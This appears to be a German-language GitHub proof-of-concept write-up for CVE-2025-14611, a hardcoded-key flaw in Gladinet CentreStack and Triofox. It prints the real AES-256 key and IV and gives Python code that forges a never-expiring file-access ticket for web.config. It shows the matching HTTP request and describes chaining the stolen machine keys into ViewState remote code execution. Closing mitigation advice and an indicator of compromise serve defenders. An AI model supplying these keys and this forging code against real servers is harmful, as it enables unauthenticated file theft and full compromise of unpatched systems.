pl4tyz/cve-2025-14611-centrestack-and-triofox-full-poc-exploitCVE-2025-14611 CentreStack und Triofox vollständiger Poc/Exploit
Diese Schwachstelle entsteht durch hartkodierte kryptografische Schlüssel in den Produkten Gladinet CentreStack und Triofox, die das beliebige Lesen von Dateien über gefälschte Zugriffs-Tickets ermöglicht. Die AES-256-Verschlüsselung verwendet statische, unveränderliche Schlüssel, die direkt in die Anwendungsbinärdatei (GladCtrl64.dll) eingebettet sind. Dadurch kann jeder Angreifer, der diese Schlüssel extrahiert:
Die Schwachstelle betrifft alle Versionen von Gladinet CentreStack und Triofox vor 16.12.10420.56791 und wird seit mindestens November 2025 aktiv in freier Wildbahn ausgenutzt.
Die Schwachstelle beginnt damit, wie kryptografische Schlüssel in GladCtrl64.dll erzeugt und gespeichert werden. Die Funktionen und sind dafür verantwortlich, den AES-Verschlüsselungsschlüssel und den Initialisierungsvektor (IV) bereitzustellen.
GenerateSecKeyGenerateSecKey1Ablauf der Schlüsselerzeugung:
Beim Start der CentreStack-Serveranwendung ruft die Klasse SysKeyMgr AccessKeyMgr64.GetSysEncKey auf, das wiederum GenerateSecKey in GladCtrl64.dll aufruft. Diese Funktion:
PSTR sub_180001000(wchar16* arg1)
{
int32_t cbMultiByte = WideCharToMultiByte(CodePage: 0xfde9, dwFlags: 0,
lpWideCharStr: arg1, cchWideChar: 0xffffffff, lpMultiByteStr: nullptr,
cbMultiByte: 0, lpDefaultChar: nullptr, lpUsedDefaultChar: nullptr);
if (cbMultiByte != 0) {
PSTR lpMultiByteStr = sub_1800012e0(sx.q(cbMultiByte + 2));
if (lpMultiByteStr != 0) {
if (WideCharToMultiByte(CodePage: 0xfde9, dwFlags: 0, lpWideCharStr: arg1,
cchWideChar: 0xffffffff, lpMultiByteStr, cbMultiByte,
lpDefaultChar: nullptr, lpUsedDefaultChar: nullptr) != 0)
return lpMultiByteStr;
sub_180001290(lpMultiByteStr);
}
}
return nullptr;
}
Die Funktion konvertiert UTF-16LE-codierte Zeichenfolgen mithilfe der Windows-API WideCharToMultiByte mit der Codepage 0xfde9 (UTF-8) nach UTF-8. Die Quelldaten werden an zwei statischen Speicherstellen abgelegt:
Kritischer Befund: Diese Zeichenfolgen ändern sich bei keiner Installation der Software. Der Name der Funktion GenerateSecKey ist irreführend – sie erzeugt keine Schlüssel dynamisch, sondern gibt lediglich bereits vorhandene statische Zeichenfolgen aus der Binärdatei zurück.
Durch Reverse-Engineering-Analyse wurden die hartkodierten Schlüssel aus dem .data-Abschnitt von GladCtrl64.dll extrahiert:
Speicher an 0x18000c000 (Schlüsselquelle):
0d 4e c7 8f 0c ff 03 8c e5 67 5f 4e 3e 66 3a 79
0c ff e5 65 2c 67 01 30 a6 7e e6 65 01 30 e5 4e
72 82 17 52 8c 54 ce 9e f4 5d e9 5a 49 7b fd 56
84 76 d7 53 03 8c e5 67 05 80 27 59 1a 59 a4 8b
...
Beim Dekodieren von UTF-16LE nach UTF-8 ergibt dies chinesischen Text:
不过，调查也显示，日本、约旦、以色列和黎巴嫩等国的受调查者大多认为美国仍将保持自己的超级大国地位...
Speicher an 0x18000c2c0 (IV-Quelle):
6d 6f 44 72 69 76 65 00 // "moDriv" in ASCII/UTF-16LE
65 00 6f 30 01 30 c9 30 e9 30 a4 30 d6 30 68 30
57 30 66 30 de 30 a6 30 f3 30 c8 30 67 30 4d 30
...
Beim Dekodieren ergibt dies:
moDriveは、ドライブとしてマウントできるので、フォルダコピー感覚で使えて超快適だが...
Endgültige kryptografische Schlüssel:
Die Anwendung verwendet die ersten 32 Bytes der UTF-8-codierten Schlüsselquelle als AES-256-Schlüssel und die ersten 16 Bytes der UTF-8-codierten IV-Quelle als Initialisierungsvektor:
AES-256 Key: e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c
AES IV: 6d6f4472697665e381afe38081e38389
Die Schwachstelle wird über den HTTP-Handler filesvr.dn ausgenutzt, der der Klasse GladinetStorage.FileDownloadHandler zugeordnet ist. Dieser Handler verarbeitet verschlüsselte Zugriffs-Tickets, die über den Abfrageparameter t übergeben werden.
Struktur des Zugriffs-Tickets:
Zugriffs-Tickets sind zeilenweise getrennte Felder, die mit AES-256-CBC verschlüsselt werden:
Line 0: Filepath (absolute path on server)
Line 1: Username (Windows account to impersonate)
Line 2: Password (credentials for that account)
Line 3: Timestamp (ticket creation time)
Der Entschlüsselungsprozess:
t und führt eine benutzerdefinierte Bereinigung durch, wobei URL-sichere Zeichen getauscht werden (: → +, | → /)AccessTicket.Decrypt wird aufgerufen, das den statischen SysKey (erste 32 Bytes) und SysKey1 (erste 16 Bytes) abruftUmgehung der Zeitstempelvalidierung:
Der Handler vergleicht den Zeitstempel des Tickets mit der aktuellen Serverzeit. Wenn das Ticket älter als 4 Stunden ist, wird es abgelehnt. Angreifer können den Zeitstempel jedoch auf das Jahr 9999 setzen und so ein Ticket erstellen, das nie abläuft:
9999-11-27 14:52:04.009217
Dadurch entsteht eine dauerhafte Hintertür, die unbegrenzt wiederverwendet werden kann.
Nach der Entschlüsselung extrahiert der Handler die Felder Benutzername und Passwort und versucht, einen Impersonierungskontext zu initialisieren. Kritische Schwachstelle: Wenn beide Felder leere Zeichenfolgen sind, schlägt die Impersonierungslogik fehl und fällt auf die IIS-Anwendungspoolidentität zurück.
Dies ermöglicht ein nicht authentifiziertes beliebiges Lesen von Dateien, da die Anwendung mit erhöhten Rechten läuft, aber keine gültigen Anmeldeinformationen erfordert.
Beispiel für ein böswilliges Ticket:
C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
[empty]
[empty]
9999-11-27 14:52:04.009217
Seit November 2025 wurde eine aktive Ausnutzung beobachtet. Angreifer folgen diesem Muster:
Schritt 1: Zugriffs-Ticket fälschen
Mit den extrahierten Schlüsseln erstellen Angreifer verschlüsselte Tickets, die auf web.config abzielen:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64
AES_KEY = bytes.fromhex('e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c')
AES_IV = bytes.fromhex('6d6f4472697665e381afe38081e38389')
ticket = "C:\\Program Files (x86)\\Gladinet Cloud Enterprise\\root\\web.config\n\n\n9999-11-27 14:52:04.009217"
cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
ciphertext = cipher.encrypt(pad(ticket.encode('utf-8'), 16))
b64 = base64.b64encode(ciphertext).decode('ascii')
url_safe = b64.replace('+', ':').replace('/', '|')
Schritt 2: Böswillige Anfrage senden
Das gefälschte Ticket wird an den angreifbaren Endpunkt gesendet:
GET /storage/filesvr.dn?t=vghpI7EToZUDIZDdprSubL3mTZ2... HTTP/1.1
Host: vulnerable-server.com
Schritt 3: Maschinenschlüssel extrahieren
Die Antwort enthält die Datei web.config mit Maschinenschlüsseln:
<machineKey
validationKey="ABC123..."
decryptionKey="DEF456..."
validation="SHA1"
decryption="AES"
/>
Schritt 4: Mit CVE-2025-30406 verketten
Diese Maschinenschlüssel ermöglichen ViewState-Deserialisierungsangriffe, die zu Remote-Codeausführung führen. Angreifer erstellen böswillige ViewState-Payloads, die mit den extrahierten Schlüsseln signiert werden, und erreichen so die vollständige Kompromittierung des Systems.
Aus beobachteten Ausnutzungsversuchen (Dezember 2025):
Verschlüsseltes Ticket vom Angreifer:
vghpI7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXlZiueqNysfRx7Dsd3P5l6eiYyDiG8Lvm0o41m:ZDplEYEsO5ksZajiXcsumkDyUgpV5VLxL|372varAu
Entschlüsselter Inhalt:
C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
[empty]
[empty]
9999-11-27 14:52:04.009217
Angriffsquelle: IP-Adresse 147.124.216[.]205
Zielorganisationen: 9 bestätigte Opfer aus den Bereichen Gesundheitswesen, Technologie und Unternehmensdienstleistungen
Zeitplan des Angriffs: Erste Ausnutzungsversuche im November 2025, mit Eskalation im Dezember 2025
CVE-2025-14611 stellt ein kritisches Versagen im Management kryptografischer Schlüssel dar. Durch das direkte Einbetten statischer, unveränderlicher Schlüssel in die Anwendungsbinärdatei hat Gladinet einen universellen Generalschlüssel geschaffen, der bei allen Installationen funktioniert. Diese Schwachstelle zeigt mehrere schwerwiegende Sicherheitsfehler:
Empfehlungen zur Abschwächung:
web.config nach dem Patchen rotieren/storage/filesvr.dn mit verdächtigen t-Parametern überwachenvghpI7EToZUDIZDdprSubL3mTZ2 (verschlüsselte Darstellung des web.config-Pfads)Indikator für eine Kompromittierung:
Jede HTTP-Anfrage, die Folgendes enthält:
/storage/filesvr.dn?t=vghpI7EToZUDIZDdprSubL3mTZ2
Diese Teilzeichenfolge identifiziert eindeutig Versuche, diese Schwachstelle zum Abruf von web.config auszunutzen.